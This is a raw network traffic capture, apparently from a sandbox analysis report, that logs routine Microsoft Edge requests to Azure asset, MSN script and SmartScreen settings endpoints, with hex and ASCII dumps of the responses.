2024-04-23 21:02:23 UTC	842	OUT	GET /assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=R83mlHRCqeHRG9T0loza5cz3U8zjuZzQy2wVvoSHGHw%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-06-30T00%3A00%3A00Z&sp=r&assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	655	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:24 GMT Content-Type: application/octet-stream Content-Length: 79192 Connection: close Content-Encoding: gzip Content-MD5: HTd0YQAlXfzcbv+gIkcx8g== Last-Modified: Thu, 02 Nov 2023 21:25:56 GMT ETag: "0x8DBDBEA4D0A3592" x-ms-request-id: 777108d9-f01e-0050-65c1-95770f000000 x-ms-version: 2017-07-29 x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob x-ms-server-encrypted: true x-azure-ref: 20240423T210223Z-16f56cb894ff7nzt0vygeuawx8000000019000000000put7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 21:02:24 UTC	15729	IN	Data Raw: 1f 8b 08 08 e4 13 44 65 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: Deasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: b1 c3 7f 0e 79 45 7c d1 fa 90 56 fe 47 00 48 7d 9e d7 e1 d8 6e c2 7c 41 77 0d f8 d0 27 ab 14 e7 97 73 51 99 ea a0 33 60 24 10 5b 4a 78 b6 b3 c4 10 c7 a8 5d 04 fd 27 fc 7d 54 23 be 09 ac 25 f0 d1 4f 12 06 fe 1e 3e b2 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 Data Ascii: yE\|VGH}n\|Aw'sQ3`$[Jx]'}T#%O>JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 27 bd d1 ad a9 2c c9 9e f4 28 01 b9 b6 4f 7c 1e aa d9 ed 57 48 2a 24 71 28 dd 39 95 e2 f4 37 11 d2 bf b5 25 ed 62 af a4 32 31 b3 61 32 91 b6 52 dc e0 3a e3 3b 90 da 8d 6d e5 c2 99 3e 5c 28 d4 7d b4 bc 99 59 92 1d 1e 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 Data Ascii: ',(O\|WH$q(97%b21a2R:;m>\(}Y/M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 19 73 09 90 37 0d d3 2e 23 23 eb d2 e0 d6 b0 0d eb fd 5b f2 82 bf 80 16 85 d4 fa 82 1f a7 1a 11 ac ad e1 0d 87 5d 09 f6 a3 a6 8d e0 9d c2 49 09 36 cf 76 1a 5c 85 ac d2 47 3c 8c 8d a8 f3 87 91 ad 05 43 31 3b fe 8c 3e 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 Data Ascii: s7.##[]I6v\G<C1;>Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T
2024-04-23 21:02:24 UTC	14311	IN	Data Raw: 11 fe 00 6c ad b9 cf 2a 52 41 00 c6 a0 60 ae 5f 39 16 83 80 21 df 90 49 17 50 db 2e 7d f9 6b 5d 3a 1d 4c 36 2c e1 a2 0a 28 ab fc c9 51 58 2d 8f 7b d5 2a d9 68 1c ba 7c 4a 4b dc 17 0d c0 dc 2d 91 32 1b 70 6b e2 13 1f 96 38 e6 e1 28 aa 7a 68 03 ee 80 b5 3b 12 61 75 e9 1b 80 49 37 e3 81 63 57 87 03 5d 30 c4 2c 68 be 29 95 24 e0 73 e2 94 ba 7c 22 47 ea b4 f3 4a ab de 10 bb 0f 22 b0 e3 03 f1 16 c4 09 e2 54 66 ca 62 e0 bd 45 b4 68 87 69 72 a9 a8 3a 28 8c ad c8 95 24 60 28 0b c5 a8 db e3 d5 17 cd 43 46 b4 fb 46 fd a3 14 49 08 2b a0 d4 0b 48 65 a7 34 02 ce 86 25 ec 4d 18 c8 06 95 b7 db ae 2c d4 04 dd 90 c7 1a 26 c2 da 18 8e c3 e7 b6 d0 48 5c c7 b0 14 4c 7c f1 b4 2a ac 33 ac 8a 9e 31 0d 6c 3e aa 0c 15 a1 45 32 ac 4e d6 6f ba 9a 27 26 95 df 33 99 0b 20 7d af b2 62 Data Ascii: lRA`_9!IP.}k]:L6,(QX-{h\|JK-2pk8(zh;auI7cW]0,h)$s\|"GJ"TfbEhir:($`(CFFI+He4%M,&H\L\|*31l>E2No'&3 }b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49858	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	639	OUT	GET /bundles/v1/edgeChromium/latest/conditionalBannerWC.6d8019b2ba4ee047b8c5.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: j7OZFy/j62PhL0wh+suShA== Last-Modified: Mon, 22 Apr 2024 19:59:17 GMT ETag: 0x8DC6306B128F709 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: fa2c1754-701e-00c0-1b53-95eefa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Length: 9321 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747091,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016ed3 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016ed3 Vary: Origin
2024-04-23 21:02:23 UTC	9321	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6e 64 69 74 69 6f 6e 61 6c 42 61 6e 6e 65 72 57 43 22 5d 2c 7b 32 39 30 35 37 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 7b 43 6f 6e 64 69 74 69 6f 6e 61 6c 42 61 6e 6e 65 72 43 6f 6e 74 65 6e 74 54 65 6d 70 6c 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 2c 43 6f 6e 64 69 74 69 6f 6e 61 6c 42 61 6e 6e 65 72 57 43 3a 66 75 6e 63 74 69 6f Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["conditionalBannerWC"],{29057:function(n,e,t){t.r(e),t.d(e,{ConditionalBannerContentTemplate:function(){return k},ConditionalBannerWC:functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49857	52.159.108.190	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiVVdnVFZDK0J4ZWFSaVRqdXdhSnpEQT09IiwgImhhc2giOiJVbUFFbUNsMTVsST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-04-23 21:02:23 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-04-23 21:02:23 UTC	302	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:23 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-04-23 21:02:23 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-04-23 21:02:23 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-04-23 21:02:24 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49860	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:23 UTC	644	OUT	GET /bundles/v1/edgeChromium/latest/common-settings-edgenext.36872f7c5ce57a5d9c49.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:23 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: A+ZLwBzLoK4ZOQ/cFiAWOA== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC28967B1B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 8f72a418-901e-010a-55b5-953b77000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747149,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016f0d Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906143.18016f0d Vary: Origin
